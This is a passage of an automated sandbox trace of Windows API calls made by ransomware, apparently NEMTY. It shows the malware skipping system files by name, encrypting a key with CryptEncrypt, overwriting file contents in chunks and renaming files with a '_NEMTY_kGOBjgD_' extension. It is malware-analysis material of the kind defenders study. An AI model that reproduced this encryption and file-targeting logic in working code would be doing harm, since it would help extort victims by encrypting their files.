lpOverlapped=0x0) returned 0 [0119.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340370, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.414] CloseHandle (hObject=0xffffffff) returned 0 [0119.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e0 [0119.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0119.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_left.png._nemty_kgobjgd_")) returned 0 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.415] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28a48acd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="..") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="...") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="windows") returned -1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="$RECYCLE.BIN") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="rsa") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="NTDETECT.COM") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="ntldr") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="MSDOS.SYS") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="IO.SYS") returned 1 [0119.415] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="boot.ini") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="boot.ini") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="ntuser.dat") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="desktop.ini") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="CONFIG.SYS") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="RECYCLER") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="BOOTSECT.BAK") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="bootmgr") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="programdata") returned 1 [0119.416] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2="appdata") returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0119.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0119.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0119.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0119.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_top_right.png", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_top_right.png", lpUsedDefaultChar=0x0) returned 29 [0119.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0119.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0119.417] Sleep (dwMilliseconds=0x5) [0119.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfad563b0, dwHighDateTime=0x1d561e7)) [0119.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfad563b0, dwHighDateTime=0x1d561e7)) [0119.431] GetLastError () returned 0x5 [0119.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.431] GetLastError () returned 0x5 [0119.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.432] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340370 [0119.432] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340370, pcchString=0x653e91c | out: pszString="8cnE9eRJzBNPm3hWxNEwZyA3Fn8prG0l1N3hTxfz7ySJdWx491MSi0Vrv1VPT7Rc\r\nZuFN6CXMgTpgZR1UiJ9/vtIaCZOEZf6iKj/NwGYLHIwdYkVJkYucm0myIXotmCsO\r\nfO3G2UujL9PSVxC0PFAlKdancSYjjlA+Cyy4lXVooYVn8AFCu6ui3SD0gwhUv3HC\r\nKjyDnwu2SbrLc/J/69EwYrwrm5GHp7jO+qqIztIaATX/TuGubuseHK8/q5ujCFLL\r\n8fieGK6442M6qvHNcqCfBTUT6+frZFwpAdwBgHYXDod++Q6yXlth3pm1u2JqwB5T\r\n9WzXUEKVLXSpVYhmEMFGgg==\r\n", pcchString=0x653e91c) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0119.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340370 [0119.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.432] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.433] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.535] WriteFile (in: hFile=0xffffffff, 